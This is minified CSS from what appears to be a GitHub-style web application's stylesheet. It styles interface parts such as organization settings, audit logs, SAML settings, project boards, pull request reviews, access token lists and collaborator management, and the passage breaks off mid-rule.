.developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, 